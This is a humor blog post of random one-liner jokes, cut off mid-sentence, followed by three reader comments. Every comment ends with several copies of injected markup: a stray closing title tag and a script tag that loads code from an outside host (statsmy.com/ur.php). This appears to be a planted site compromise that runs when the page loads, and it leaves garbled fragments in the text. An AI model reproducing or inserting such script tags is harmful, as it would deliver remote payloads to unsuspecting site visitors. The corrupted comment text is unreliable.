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Random Thoughts VI
by Kris on 5/7/2004 (3)

Ever since I was young, I've often caught myself thinking. Most of the time, these thoughts don't relate to much of anything, but sometimes they're funny, humorous, insightful, witty, or downright insane. And now, for the first time since the last time I did this sort of piece, I'm sharing them with you. Enjoy.

I hope that if I ever die in an industrial accident, I die quickly... not like little Timmy, who was slowly processed into the best damn beef jerky I've ever had.

I can't wait until I have kids of my own, that lawn's not going to rake itself.

You can out weasel a weasel, you can out fox a fox, but you can't out drink a mule.

When some people are growing up, they say the want to be astronauts or policemen. I told my parents I wanted to be a boat. I was in therapy alot back then.

I don't get why the Colonel makes it such a big deal about what the secret ingredient in Kentucky Fried Chicken is... it seems obvious to me that it's the 11 Herbs & Spices. On a somewhat related note, why was Kentucky picked as the location to get the fried chicken from? Having little to no knowledge of chickens or chicken farming or any number of other subjects, I'd assume that a place with a tropical climate like Boston would be a far better location... Boston Fried Chicken, I can taste it already.

Pez very well may be the world's greatest unsung heroes. Those little candy bricks just don't get the credit that they deserve.

Whoever invented Twister was either a genius or totally insane. For my sake, I hope they were a genius because when I go insane later in life, I don't want to be confined to a life of creating board games involving a large mat and colored circles. I'd like to enjoy my insanity doing things like protecting myself from aliens with tinfoil hats or running for political offices like Ralph Nadar, not making children happy.

Cats are so cute when they are young, and so scary when they are dead. In between, they're just kinda there.

I'd like to work on a large scale construction project creating a building made entirely out of Legos. I spent the better part of my youth playing with Legos and feel that I would be the logical choice to head up such an endeavor. I don't know if it will ever happen due to the current Lego shortages and the contract problems of the Lego Workers Union, but a boy can always dream.

Did you ever think that robots could be walking among us? They could be your friends, your co-workers, even your parents. Did you ever think that? Yeah, me too.

I never want to be pigeonholed... I have no idea what it means, but it doesn't sound pleasant. Anything combined with a pigeon can't be good. One time I tried to make a burger out of a pigeon and it was just plain terrible, I'm really glad I gave it to my buddy to eat instead of trying it myself.

Despite taking Spanish for two years in high school, just about the only word I remember is "biblioteca", which means library. If I'm ever trapped in Mexico, unless I'm in desperate need for a good book, I'm gonna be in alot of trouble.

How come you never see watermelon juice for sale? I think that'd be a great idea, I could go for a glass right now!

Every time I play Pitfall!, I get this eerie sense of Deja Vu. I think I must have been a treasure hunter in a previous life, or have been killed by a scorpion in a cave.

If I ever release a musical album, it's going to be entitled "As Drunk as I want to be" and will be nothing bu


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Comments

1. by feaglin on 3/1/2007 4:52:29 PM
I wish I could say they were solid gold, but they're all simply made of 1's and 0's, which are also not made of gold. About the Lego buildings, have you ever been to Denmark? No I suppose you haven't. And dead cats are not all that scary, I should know I've seen/held/buried them. Dead cats are sorta lethargic as opposed to their living counterparts. Although some verbs do apply to them such as 'to bleed' or 'to smell' </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kris on 3/1/2007 4:52:29 PM
Obviously you haven't seen Pet Semetary... it still haunts me to this day... of course, that might be because my house was built on an ancient pet cemetary, that was built on an ancient book store, that was built on an ancient indian burial ground.ig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by feaglin on 3/1/2007 4:52:29 PM
ah yes... damn those indian burial groundsh="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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